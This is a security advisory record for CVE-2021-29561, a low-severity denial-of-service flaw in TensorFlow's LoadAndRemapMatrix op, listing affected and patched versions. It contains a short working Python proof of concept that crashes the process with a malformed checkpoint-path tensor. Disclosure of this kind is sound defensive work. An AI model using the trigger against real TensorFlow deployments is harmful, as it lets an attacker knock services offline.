---
id: CVE-2021-29561
aliases:
  - GHSA-gvm4-h8j3-rjrq
  - BIT-tensorflow-2021-29561
  - PYSEC-2021-198
  - PYSEC-2021-489
  - PYSEC-2021-687
title: CHECK-fail in `LoadAndRemapMatrix`
summary: CHECK-fail in `LoadAndRemapMatrix`
severity: low
cvss: 2.5
cvssVector: 'CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L'
vendor: tensorflow
product: tensorflow
ecosystem: pip
affected:
  - tensorflow < 2.1.4
  - 'tensorflow >= 2.2.0, < 2.2.3'
  - 'tensorflow >= 2.3.0, < 2.3.3'
  - 'tensorflow >= 2.4.0, < 2.4.2'
  - tensorflow-cpu < 2.1.4
  - 'tensorflow-cpu >= 2.2.0, < 2.2.3'
  - 'tensorflow-cpu >= 2.3.0, < 2.3.3'
  - 'tensorflow-cpu >= 2.4.0, < 2.4.2'
  - tensorflow-gpu < 2.1.4
  - 'tensorflow-gpu >= 2.2.0, < 2.2.3'
  - 'tensorflow-gpu >= 2.3.0, < 2.3.3'
  - 'tensorflow-gpu >= 2.4.0, < 2.4.2'
patched:
  - tensorflow 2.1.4
  - tensorflow 2.2.3
  - tensorflow 2.3.3
  - tensorflow 2.4.2
  - tensorflow-cpu 2.1.4
  - tensorflow-cpu 2.2.3
  - tensorflow-cpu 2.3.3
  - tensorflow-cpu 2.4.2
  - tensorflow-gpu 2.1.4
  - tensorflow-gpu 2.2.3
  - tensorflow-gpu 2.3.3
  - tensorflow-gpu 2.4.2
published: '2021-05-21'
updated: '2026-07-08'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-gvm4-h8j3-rjrq'
references:
  - url: >-
      https://github.com/tensorflow/tensorflow/security/advisories/GHSA-gvm4-h8j3-rjrq
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2021-29561'
  - url: >-
      https://github.com/tensorflow/tensorflow/commit/77dd114513d7796e1e2b8aece214a380af26fbf4
  - url: >-
      https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-489.yaml
  - url: >-
      https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-687.yaml
  - url: >-
      https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-198.yaml
  - url: 'https://github.com/tensorflow/tensorflow'
tags:
  - osv
  - pip
epss: 0.00189
epssPercentile: 0.07541
ingestedAt: '2026-07-08T18:25:49.942Z'
---

## Overview

### Impact
An attacker can cause a denial of service by exploiting a `CHECK`-failure coming from `tf.raw_ops.LoadAndRemapMatrix`:
    
```python
import tensorflow as tf

ckpt_path = tf.constant([], shape=[0], dtype=tf.string)
old_tensor_name = tf.constant("")
row_remapping = tf.constant([], shape=[0], dtype=tf.int64)
col_remapping = tf.constant([1], shape=[1], dtype=tf.int64)
initializing_values = tf.constant(1.0)

tf.raw_ops.LoadAndRemapMatrix(
    ckpt_path=ckpt_path, old_tensor_name=old_tensor_name,
    row_remapping=row_remapping, col_remapping=col_remapping,
    initializing_values=initializing_values, num_rows=0, num_cols=1)
```

This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/d94227d43aa125ad8b54115c03cece54f6a1977b/tensorflow/core/kernels/ragged_tensor_to_tensor_op.cc#L219-L222) assumes that the `ckpt_path` is always a valid scalar.
  
```cc
const string& ckpt_path = ckpt_path_t->scalar<tstring>()();
```

However, an attacker can send any other tensor as the first argument of `LoadAndRemapMatrix`. This would cause the rank `CHECK` in `scalar<T>()()` to trigger and terminate the process.

### Patches
We have patched the issue in GitHub commit [77dd114513d7796e1e2b8aece214a380af26fbf4](https://github.com/tensorflow/tensorflow/commit/77dd114513d7796e1e2b8aece214a380af26fbf4).

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

### Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

## Affected packages

- `tensorflow < 2.1.4`
- `tensorflow >= 2.2.0, < 2.2.3`
- `tensorflow >= 2.3.0, < 2.3.3`
- `tensorflow >= 2.4.0, < 2.4.2`
- `tensorflow-cpu < 2.1.4`
- `tensorflow-cpu >= 2.2.0, < 2.2.3`
- `tensorflow-cpu >= 2.3.0, < 2.3.3`
- `tensorflow-cpu >= 2.4.0, < 2.4.2`
- `tensorflow-gpu < 2.1.4`
- `tensorflow-gpu >= 2.2.0, < 2.2.3`
- `tensorflow-gpu >= 2.3.0, < 2.3.3`
- `tensorflow-gpu >= 2.4.0, < 2.4.2`

## Remediation

Upgrade to a patched release:

- `tensorflow 2.1.4`
- `tensorflow 2.2.3`
- `tensorflow 2.3.3`
- `tensorflow 2.4.2`
- `tensorflow-cpu 2.1.4`
- `tensorflow-cpu 2.2.3`
- `tensorflow-cpu 2.3.3`
- `tensorflow-cpu 2.4.2`
- `tensorflow-gpu 2.1.4`
- `tensorflow-gpu 2.2.3`
- `tensorflow-gpu 2.3.3`
- `tensorflow-gpu 2.4.2`